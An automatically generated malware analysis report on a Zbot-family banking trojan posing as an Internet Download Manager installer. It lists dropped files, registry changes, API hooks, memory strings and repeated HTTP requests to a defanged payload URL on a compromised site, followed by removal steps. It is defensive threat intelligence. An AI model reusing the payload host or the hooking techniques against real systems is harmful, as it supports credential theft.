Trojan.Nsis.Androm.3_32fcad2d9b

by malwarelabrobot on December 30th, 2014 in Malware Descriptions.

Trojan.Nsis.Androm.3 (AdAware), Trojan-PSW.Win32.Zbot.6.FD, GenericInjector.YR, BackdoorCaphaw_QKKBAL.YR, TrojanPSWZbot.YR (Lavasoft MAS)
Behaviour: Trojan-PSW, Trojan, Backdoor


The description has been automatically generated by Lavasoft Malware Analysis System and it may contain incomplete or inaccurate information.

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Summary
Dynamic Analysis
Static Analysis
Network Activity
Map
Strings from Dumps
Removals

MD5: 32fcad2d9b725ddc3b95cf1f1c658a72
SHA1: 00357474140cf21638dbc3ae70f48bfd1a965376
SHA256: 5b410c9a30721f5d6222072ded3e3050c95a02821c16bb8dfbaf941d637b5d30
SSDeep: 6144:iQ4/pREKq173BH9blOh Jk3sBCQVenfyX:UDw73BdxxAsBOM
Size: 205274 bytes
File type: EXE
Platform: WIN32
Entropy: Packed
PEID: UPolyXv05_v6
Company: no certificate found
Created at: 2014-05-11 23:03:48
Analyzed on: WindowsXPESX SP3 32-bit


Summary:

Trojan. A program that appears to do one thing but actually does another (a.k.a. Trojan Horse).

Payload

No specific payload has been found.

Process activity

The Trojan creates the following process(es):

obunm.exe:1340
obunm.exe:1716
%original file name%.exe:1316
%original file name%.exe:1544

The Trojan injects its code into the following process(es):

Explorer.EXE:1284

Mutexes

The following mutexes were created/opened:
No objects were found.

File activity

The process obunm.exe:1340 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\nseB7.tmp\forswearing.dll (1856 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\Freudian\forswearing.qh (5064 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nscB6.tmp (6518 bytes)

The Trojan deletes the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\nsnB5.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nseB7.tmp\forswearing.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nseB7.tmp (0 bytes)

The process %original file name%.exe:1316 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\nsmB4.tmp\forswearing.dll (1856 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsvB3.tmp (6518 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\Freudian\forswearing.qh (5064 bytes)

The Trojan deletes the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\nsvB2.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsmB4.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsmB4.tmp\forswearing.dll (0 bytes)

The process %original file name%.exe:1544 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\tmp6ccf94c4.bat (177 bytes)
%Documents and Settings%\%current user%\Application Data\Awki\obunm.exe (205 bytes)

Registry activity

The process obunm.exe:1340 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "CE D9 69 59 E3 08 1E 73 23 85 D8 82 67 D5 D1 AE"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

The process obunm.exe:1716 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "7D EC F8 86 01 91 57 D8 3A AB 56 3D 51 53 B0 2E"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

The process %original file name%.exe:1316 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "72 E6 BD 3D 1E F2 26 CB C6 40 FF 02 91 D9 2B B0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

The process %original file name%.exe:1544 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "D5 9C 89 69 62 5E 96 1E DD A4 57 4E 35 89 57 73"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

Dropped PE files

MD5 File path
a0dc0a415159822380e680e313c3fc9d c:\Documents and Settings\"%CurrentUserName%"\Application Data\Awki\obunm.exe

HOSTS file anomalies

No changes have been detected.

Rootkit activity

The Trojan installs the following user-mode hooks in WININET.dll:

HttpSendRequestExA
HttpSendRequestW
InternetReadFileExA
InternetQueryDataAvailable
HttpSendRequestExW
InternetReadFile
HttpQueryInfoA
HttpSendRequestA
InternetCloseHandle

The Trojan installs the following user-mode hooks in CRYPT32.dll:

PFXImportCertStore

The Trojan installs the following user-mode hooks in USER32.dll:

SetCursorPos
DefMDIChildProcA
DefFrameProcA
DefDlgProcA
GetClipboardData
DefMDIChildProcW
DefFrameProcW
GetUpdateRgn
RegisterClassA
GetDCEx
ReleaseCapture
SetCapture
DefWindowProcA
CallWindowProcA
GetUpdateRect
PeekMessageA
CallWindowProcW
GetMessagePos
GetCursorPos
EndPaint
BeginPaint
DefWindowProcW
RegisterClassExA
GetMessageA
DefDlgProcW
SwitchDesktop
OpenInputDesktop
RegisterClassExW
RegisterClassW
GetCapture
PeekMessageW
GetMessageW
GetWindowDC
TranslateMessage
GetDC
ReleaseDC

The Trojan installs the following user-mode hooks in WS2_32.dll:

WSASend
send
closesocket

The Trojan installs the following user-mode hooks in kernel32.dll:

GetFileAttributesExW

The Trojan installs the following user-mode hooks in ntdll.dll:

LdrLoadDll
NtCreateThread

Propagation

VersionInfo

Company Name: Tonec Inc.
Product Name: Internet Download Manager installer
Product Version: 6.21.3.1
Legal Copyright: (c) 1999-2014. Tonec, Inc. All rights reserved.
Legal Trademarks:
Original Filename:
Internal Name:
File Version: 6.21.3.1
File Description: Internet Download Manager installer
Comments:
Language: Language Neutral

PE Sections

Name Virtual Address Virtual Size Raw Size Entropy Section MD5
.text 4096 24400 24576 4.49516 e5810e4599134d200b6d8d5fda1a1e27
.rdata 28672 4826 5120 3.53383 0c7782eb506f624e867e0814d74757b0
.data 36864 152760 1024 3.53402 60bb1e05c998343dee70295764ba0375
.ndata 192512 32768 0 0 d41d8cd98f00b204e9800998ecf8427e
.rsrc 225280 7464 7680 2.72404 0c089d2300a980861122199867cfebfb

Dropped from:

Downloaded by:

Similar by SSDeep:

Similar by Lavasoft Polymorphic Checker:

URLs

URL IP
hxxp://ims-intl.com.sa/wordpress/imsi.bin 181.224.139.74


IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)

ET TROJAN Possible Zbot Activity Common Download Struct
ET CURRENT_EVENTS Zbot Generic URI/Header Struct .bin

Traffic

GET /wordpress/imsi.bin HTTP/1.1
Accept: */*
Connection: Close
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: ims-intl.com.sa
Cache-Control: no-cache


HTTP/1.1 404 Not Found
Date: Mon, 29 Dec 2014 09:39:16 GMT
Server: Apache
Accept-Ranges: bytes
Host-Header: 192fc2e7e50945beb8231a492d6a8024
Content-Length: 1772
Connection: close
Content-Type: text/html
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "htt
p://VVV.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">.<html xml
ns="hXXp://VVV.w3.org/1999/xhtml"><head>.<style type="text
/css">.body{background-color:#f4f9fa}..centered{text-align:center}.
.container{border:1px solid #e2e2e2;width:750px;margin:50px auto}..hea
der{height:100px;background-color:#fff;padding-top:50px;background:url
(/error_page.gif) top repeat-x}..header h1{font: bold 150% Arial, Helv
etica, sans-serif; color:#5278af;margin:0;padding:0}..header h2{font: 
bold 80% Tahoma, Verdana, sans-serif; color:#5278af;margin:0;padding:0
}..line{height:15px;background-color:#eef6f7}..error-container{backgro
und-color:#fff;font:normal 80% Tahoma, Verdana, sans-serif;color:#000;
text-align:justify;padding:30px}..error-container li{padding-bottom:10
px}.</style><title>404 - Not Found</title>..</hea
d>..<body>.<div class="centered">.<div class="contai
ner">.<div class="header">.<h1>404 - Not Found<
/h1>.<h2>The page you are trying to access does not exist. &l
t;br />.If this error persists, please contact the website webmaste
r.</h2>.</div>.<div class="line"></div>.<di
v class="error-container">If you are the webmaster of this site mak
e sure that:.<br /><br /><ul><li>You have uplo
aded correctly your files to the public_html directory .which is the w
eb-root of your account;.</li></ul><ul><li>
<<< skipped >>>


GET /wordpress/imsi.bin HTTP/1.1
Accept: */*
Connection: Close
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: ims-intl.com.sa
Cache-Control: no-cache


HTTP/1.1 404 Not Found
Date: Mon, 29 Dec 2014 09:39:11 GMT
Server: Apache
Accept-Ranges: bytes
Host-Header: 192fc2e7e50945beb8231a492d6a8024
Content-Length: 1772
Connection: close
Content-Type: text/html
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "htt
p://VVV.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">.<html xml
ns="hXXp://VVV.w3.org/1999/xhtml"><head>.<style type="text
/css">.body{background-color:#f4f9fa}..centered{text-align:center}.
.container{border:1px solid #e2e2e2;width:750px;margin:50px auto}..hea
der{height:100px;background-color:#fff;padding-top:50px;background:url
(/error_page.gif) top repeat-x}..header h1{font: bold 150% Arial, Helv
etica, sans-serif; color:#5278af;margin:0;padding:0}..header h2{font: 
bold 80% Tahoma, Verdana, sans-serif; color:#5278af;margin:0;padding:0
}..line{height:15px;background-color:#eef6f7}..error-container{backgro
und-color:#fff;font:normal 80% Tahoma, Verdana, sans-serif;color:#000;
text-align:justify;padding:30px}..error-container li{padding-bottom:10
px}.</style><title>404 - Not Found</title>..</hea
d>..<body>.<div class="centered">.<div class="contai
ner">.<div class="header">.<h1>404 - Not Found<
/h1>.<h2>The page you are trying to access does not exist. &l
t;br />.If this error persists, please contact the website webmaste
r.</h2>.</div>.<div class="line"></div>.<di
v class="error-container">If you are the webmaster of this site mak
e sure that:.<br /><br /><ul><li>You have uplo
aded correctly your files to the public_html directory .which is the w
eb-root of your account;.</li></ul><ul><li>
<<< skipped >>>


GET /wordpress/imsi.bin HTTP/1.1
Accept: */*
Connection: Close
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: ims-intl.com.sa
Cache-Control: no-cache


HTTP/1.1 404 Not Found
Date: Mon, 29 Dec 2014 09:39:26 GMT
Server: Apache
Accept-Ranges: bytes
Host-Header: 192fc2e7e50945beb8231a492d6a8024
Content-Length: 1772
Connection: close
Content-Type: text/html
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "htt
p://VVV.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">.<html xml
ns="hXXp://VVV.w3.org/1999/xhtml"><head>.<style type="text
/css">.body{background-color:#f4f9fa}..centered{text-align:center}.
.container{border:1px solid #e2e2e2;width:750px;margin:50px auto}..hea
der{height:100px;background-color:#fff;padding-top:50px;background:url
(/error_page.gif) top repeat-x}..header h1{font: bold 150% Arial, Helv
etica, sans-serif; color:#5278af;margin:0;padding:0}..header h2{font: 
bold 80% Tahoma, Verdana, sans-serif; color:#5278af;margin:0;padding:0
}..line{height:15px;background-color:#eef6f7}..error-container{backgro
und-color:#fff;font:normal 80% Tahoma, Verdana, sans-serif;color:#000;
text-align:justify;padding:30px}..error-container li{padding-bottom:10
px}.</style><title>404 - Not Found</title>..</hea
d>..<body>.<div class="centered">.<div class="contai
ner">.<div class="header">.<h1>404 - Not Found<
/h1>.<h2>The page you are trying to access does not exist. &l
t;br />.If this error persists, please contact the website webmaste
r.</h2>.</div>.<div class="line"></div>.<di
v class="error-container">If you are the webmaster of this site mak
e sure that:.<br /><br /><ul><li>You have uplo
aded correctly your files to the public_html directory .which is the w
eb-root of your account;.</li></ul><ul><li>
<<< skipped >>>


GET /wordpress/imsi.bin HTTP/1.1
Accept: */*
Connection: Close
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: ims-intl.com.sa
Cache-Control: no-cache


HTTP/1.1 404 Not Found
Date: Mon, 29 Dec 2014 09:39:26 GMT
Server: Apache
Accept-Ranges: bytes
Host-Header: 192fc2e7e50945beb8231a492d6a8024
Content-Length: 1772
Connection: close
Content-Type: text/html
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "htt
p://VVV.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">.<html xml
ns="hXXp://VVV.w3.org/1999/xhtml"><head>.<style type="text
/css">.body{background-color:#f4f9fa}..centered{text-align:center}.
.container{border:1px solid #e2e2e2;width:750px;margin:50px auto}..hea
der{height:100px;background-color:#fff;padding-top:50px;background:url
(/error_page.gif) top repeat-x}..header h1{font: bold 150% Arial, Helv
etica, sans-serif; color:#5278af;margin:0;padding:0}..header h2{font: 
bold 80% Tahoma, Verdana, sans-serif; color:#5278af;margin:0;padding:0
}..line{height:15px;background-color:#eef6f7}..error-container{backgro
und-color:#fff;font:normal 80% Tahoma, Verdana, sans-serif;color:#000;
text-align:justify;padding:30px}..error-container li{padding-bottom:10
px}.</style><title>404 - Not Found</title>..</hea
d>..<body>.<div class="centered">.<div class="contai
ner">.<div class="header">.<h1>404 - Not Found<
/h1>.<h2>The page you are trying to access does not exist. &l
t;br />.If this error persists, please contact the website webmaste
r.</h2>.</div>.<div class="line"></div>.<di
v class="error-container">If you are the webmaster of this site mak
e sure that:.<br /><br /><ul><li>You have uplo
aded correctly your files to the public_html directory .which is the w
eb-root of your account;.</li></ul><ul><li>
<<< skipped >>>


GET /wordpress/imsi.bin HTTP/1.1
Accept: */*
Connection: Close
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: ims-intl.com.sa
Cache-Control: no-cache


HTTP/1.1 404 Not Found
Date: Mon, 29 Dec 2014 09:39:31 GMT
Server: Apache
Accept-Ranges: bytes
Host-Header: 192fc2e7e50945beb8231a492d6a8024
Content-Length: 1772
Connection: close
Content-Type: text/html
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "htt
p://VVV.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">.<html xml
ns="hXXp://VVV.w3.org/1999/xhtml"><head>.<style type="text
/css">.body{background-color:#f4f9fa}..centered{text-align:center}.
.container{border:1px solid #e2e2e2;width:750px;margin:50px auto}..hea
der{height:100px;background-color:#fff;padding-top:50px;background:url
(/error_page.gif) top repeat-x}..header h1{font: bold 150% Arial, Helv
etica, sans-serif; color:#5278af;margin:0;padding:0}..header h2{font: 
bold 80% Tahoma, Verdana, sans-serif; color:#5278af;margin:0;padding:0
}..line{height:15px;background-color:#eef6f7}..error-container{backgro
und-color:#fff;font:normal 80% Tahoma, Verdana, sans-serif;color:#000;
text-align:justify;padding:30px}..error-container li{padding-bottom:10
px}.</style><title>404 - Not Found</title>..</hea
d>..<body>.<div class="centered">.<div class="contai
ner">.<div class="header">.<h1>404 - Not Found<
/h1>.<h2>The page you are trying to access does not exist. &l
t;br />.If this error persists, please contact the website webmaste
r.</h2>.</div>.<div class="line"></div>.<di
v class="error-container">If you are the webmaster of this site mak
e sure that:.<br /><br /><ul><li>You have uplo
aded correctly your files to the public_html directory .which is the w
eb-root of your account;.</li></ul><ul><li>
<<< skipped >>>


GET /wordpress/imsi.bin HTTP/1.1
Accept: */*
Connection: Close
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: ims-intl.com.sa
Cache-Control: no-cache


HTTP/1.1 404 Not Found
Date: Mon, 29 Dec 2014 09:39:11 GMT
Server: Apache
Accept-Ranges: bytes
Host-Header: 192fc2e7e50945beb8231a492d6a8024
Content-Length: 1772
Connection: close
Content-Type: text/html
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "htt
p://VVV.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">.<html xml
ns="hXXp://VVV.w3.org/1999/xhtml"><head>.<style type="text
/css">.body{background-color:#f4f9fa}..centered{text-align:center}.
.container{border:1px solid #e2e2e2;width:750px;margin:50px auto}..hea
der{height:100px;background-color:#fff;padding-top:50px;background:url
(/error_page.gif) top repeat-x}..header h1{font: bold 150% Arial, Helv
etica, sans-serif; color:#5278af;margin:0;padding:0}..header h2{font: 
bold 80% Tahoma, Verdana, sans-serif; color:#5278af;margin:0;padding:0
}..line{height:15px;background-color:#eef6f7}..error-container{backgro
und-color:#fff;font:normal 80% Tahoma, Verdana, sans-serif;color:#000;
text-align:justify;padding:30px}..error-container li{padding-bottom:10
px}.</style><title>404 - Not Found</title>..</hea
d>..<body>.<div class="centered">.<div class="contai
ner">.<div class="header">.<h1>404 - Not Found<
/h1>.<h2>The page you are trying to access does not exist. &l
t;br />.If this error persists, please contact the website webmaste
r.</h2>.</div>.<div class="line"></div>.<di
v class="error-container">If you are the webmaster of this site mak
e sure that:.<br /><br /><ul><li>You have uplo
aded correctly your files to the public_html directory .which is the w
eb-root of your account;.</li></ul><ul><li>
<<< skipped >>>


GET /wordpress/imsi.bin HTTP/1.1
Accept: */*
Connection: Close
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: ims-intl.com.sa
Cache-Control: no-cache


HTTP/1.1 404 Not Found
Date: Mon, 29 Dec 2014 09:39:21 GMT
Server: Apache
Accept-Ranges: bytes
Host-Header: 192fc2e7e50945beb8231a492d6a8024
Content-Length: 1772
Connection: close
Content-Type: text/html
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "htt
p://VVV.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">.<html xml
ns="hXXp://VVV.w3.org/1999/xhtml"><head>.<style type="text
/css">.body{background-color:#f4f9fa}..centered{text-align:center}.
.container{border:1px solid #e2e2e2;width:750px;margin:50px auto}..hea
der{height:100px;background-color:#fff;padding-top:50px;background:url
(/error_page.gif) top repeat-x}..header h1{font: bold 150% Arial, Helv
etica, sans-serif; color:#5278af;margin:0;padding:0}..header h2{font: 
bold 80% Tahoma, Verdana, sans-serif; color:#5278af;margin:0;padding:0
}..line{height:15px;background-color:#eef6f7}..error-container{backgro
und-color:#fff;font:normal 80% Tahoma, Verdana, sans-serif;color:#000;
text-align:justify;padding:30px}..error-container li{padding-bottom:10
px}.</style><title>404 - Not Found</title>..</hea
d>..<body>.<div class="centered">.<div class="contai
ner">.<div class="header">.<h1>404 - Not Found<
/h1>.<h2>The page you are trying to access does not exist. &l
t;br />.If this error persists, please contact the website webmaste
r.</h2>.</div>.<div class="line"></div>.<di
v class="error-container">If you are the webmaster of this site mak
e sure that:.<br /><br /><ul><li>You have uplo
aded correctly your files to the public_html directory .which is the w
eb-root of your account;.</li></ul><ul><li>
<<< skipped >>>


GET /wordpress/imsi.bin HTTP/1.1
Accept: */*
Connection: Close
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: ims-intl.com.sa
Cache-Control: no-cache


HTTP/1.1 404 Not Found
Date: Mon, 29 Dec 2014 09:39:21 GMT
Server: Apache
Accept-Ranges: bytes
Host-Header: 192fc2e7e50945beb8231a492d6a8024
Content-Length: 1772
Connection: close
Content-Type: text/html
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "htt
p://VVV.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">.<html xml
ns="hXXp://VVV.w3.org/1999/xhtml"><head>.<style type="text
/css">.body{background-color:#f4f9fa}..centered{text-align:center}.
.container{border:1px solid #e2e2e2;width:750px;margin:50px auto}..hea
der{height:100px;background-color:#fff;padding-top:50px;background:url
(/error_page.gif) top repeat-x}..header h1{font: bold 150% Arial, Helv
etica, sans-serif; color:#5278af;margin:0;padding:0}..header h2{font: 
bold 80% Tahoma, Verdana, sans-serif; color:#5278af;margin:0;padding:0
}..line{height:15px;background-color:#eef6f7}..error-container{backgro
und-color:#fff;font:normal 80% Tahoma, Verdana, sans-serif;color:#000;
text-align:justify;padding:30px}..error-container li{padding-bottom:10
px}.</style><title>404 - Not Found</title>..</hea
d>..<body>.<div class="centered">.<div class="contai
ner">.<div class="header">.<h1>404 - Not Found<
/h1>.<h2>The page you are trying to access does not exist. &l
t;br />.If this error persists, please contact the website webmaste
r.</h2>.</div>.<div class="line"></div>.<di
v class="error-container">If you are the webmaster of this site mak
e sure that:.<br /><br /><ul><li>You have uplo
aded correctly your files to the public_html directory .which is the w
eb-root of your account;.</li></ul><ul><li>
<<< skipped >>>


GET /wordpress/imsi.bin HTTP/1.1
Accept: */*
Connection: Close
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: ims-intl.com.sa
Cache-Control: no-cache


HTTP/1.1 404 Not Found
Date: Mon, 29 Dec 2014 09:39:32 GMT
Server: Apache
Accept-Ranges: bytes
Host-Header: 192fc2e7e50945beb8231a492d6a8024
Content-Length: 1772
Connection: close
Content-Type: text/html
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "htt
p://VVV.w3.org/TR/x..



GET /wordpress/imsi.bin HTTP/1.1
Accept: */*
Connection: Close
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: ims-intl.com.sa
Cache-Control: no-cache


HTTP/1.1 404 Not Found
Date: Mon, 29 Dec 2014 09:39:16 GMT
Server: Apache
Accept-Ranges: bytes
Host-Header: 192fc2e7e50945beb8231a492d6a8024
Content-Length: 1772
Connection: close
Content-Type: text/html
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "htt
p://VVV.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">.<html xml
ns="hXXp://VVV.w3.org/1999/xhtml"><head>.<style type="text
/css">.body{background-color:#f4f9fa}..centered{text-align:center}.
.container{border:1px solid #e2e2e2;width:750px;margin:50px auto}..hea
der{height:100px;background-color:#fff;padding-top:50px;background:url
(/error_page.gif) top repeat-x}..header h1{font: bold 150% Arial, Helv
etica, sans-serif; color:#5278af;margin:0;padding:0}..header h2{font: 
bold 80% Tahoma, Verdana, sans-serif; color:#5278af;margin:0;padding:0
}..line{height:15px;background-color:#eef6f7}..error-container{backgro
und-color:#fff;font:normal 80% Tahoma, Verdana, sans-serif;color:#000;
text-align:justify;padding:30px}..error-container li{padding-bottom:10
px}.</style><title>404 - Not Found</title>..</hea
d>..<body>.<div class="centered">.<div class="contai
ner">.<div class="header">.<h1>404 - Not Found<
/h1>.<h2>The page you are trying to access does not exist. &l
t;br />.If this error persists, please contact the website webmaste
r.</h2>.</div>.<div class="line"></div>.<di
v class="error-container">If you are the webmaster of this site mak
e sure that:.<br /><br /><ul><li>You have uplo
aded correctly your files to the public_html directory .which is the w
eb-root of your account;.</li></ul><ul><li>
<<< skipped >>>

The Trojan connects to the servers at the folowing location(s):

Explorer.EXE_1284_rwx_01BB0000_00027000:

.text
`.data
.reloc
hXXp://VVV.google.com/webhp
PR_OpenTCPSocket
k.cim
gdiplus.dll
GdiplusShutdown
ole32.dll
gdi32.dll
: ;2*8.>
3.#70!2)
x#m`a`cmddt-
6 !26!1'1
7"52),,>
;<)?$*%,
71.(5;4=
(203,2$0
/?./,5 <
:>(<<44=3%
8%/<8/?)?/
%/><!8?>!
HTTP/1.1
userenv.dll
del "%s"
if exist "%s" goto d
del /F "%s"
Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1)
urlmon.dll
cabinet.dll
hXXp://
hXXps://
HTTP/1.
SSSh,4
GetProcessHeap
KERNEL32.dll
SetKeyboardState
ExitWindowsEx
MsgWaitForMultipleObjects
MapVirtualKeyW
GetKeyboardState
OpenWindowStationW
GetProcessWindowStation
CreateWindowStationW
CloseWindowStation
SetProcessWindowStation
USER32.dll
RegOpenKeyExW
RegEnumKeyExW
RegCloseKey
RegCreateKeyExW
ADVAPI32.dll
PathIsURLW
UrlUnescapeA
SHDeleteKeyW
SHLWAPI.dll
ShellExecuteW
SHELL32.dll
Secur32.dll
SetViewportOrgEx
GDI32.dll
WS2_32.dll
PFXImportCertStore
CertDeleteCertificateFromStore
CertOpenSystemStoreW
CertCloseStore
CertEnumCertificatesInStore
CertDuplicateCertificateContext
PFXExportCertStoreEx
CRYPT32.dll
HttpSendRequestExA
HttpQueryInfoA
HttpSendRequestExW
HttpSendRequestW
HttpSendRequestA
InternetCrackUrlA
HttpOpenRequestA
HttpAddRequestHeadersA
GetUrlCacheEntryInfoW
HttpAddRequestHeadersW
WININET.dll
OLEAUT32.dll
NETAPI32.dll
6 6&6/656{6
cGlobal\XXX
nspr4.dll
nss3.dll
SysShadow
kernel32.dll
"%s" %s
/c "%s"
%sx.%s
%sx
%Documents and Settings%\%current user%\Application Data\Ugyl\waka.erg
%Documents and Settings%\%current user%\Application Data\Ugyl
waka.erg
Global\{5FA07C32-7222-1422-1671-00624916E055}
%Documents and Settings%\%current user%\Application Data
{C9DBCE17-C007-8259-1671-00624916E055}


Remove it with Ad-Aware

  1. Click (here) to download and install Ad-Aware Free Antivirus.
  2. Update the definition files.
  3. Run a full scan of your computer.


Manual removal*

  1. Scan a system with an anti-rootkit tool.
  2. Terminate malicious process(es) (How to End a Process With the Task Manager):

    obunm.exe:1340
    obunm.exe:1716
    %original file name%.exe:1316
    %original file name%.exe:1544

  3. Delete the original Trojan file.
  4. Delete or disinfect the following files created/modified by the Trojan:

    %Documents and Settings%\%current user%\Local Settings\Temp\nseB7.tmp\forswearing.dll (1856 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\Freudian\forswearing.qh (5064 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\nscB6.tmp (6518 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\nsmB4.tmp\forswearing.dll (1856 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\nsvB3.tmp (6518 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\tmp6ccf94c4.bat (177 bytes)
    %Documents and Settings%\%current user%\Application Data\Awki\obunm.exe (205 bytes)

  5. Clean the Temporary Internet Files folder, which may contain infected files (How to clean Temporary Internet Files folder).
  6. Reboot the computer.

*Manual removal may cause unexpected system behaviour and should be performed at your own risk.

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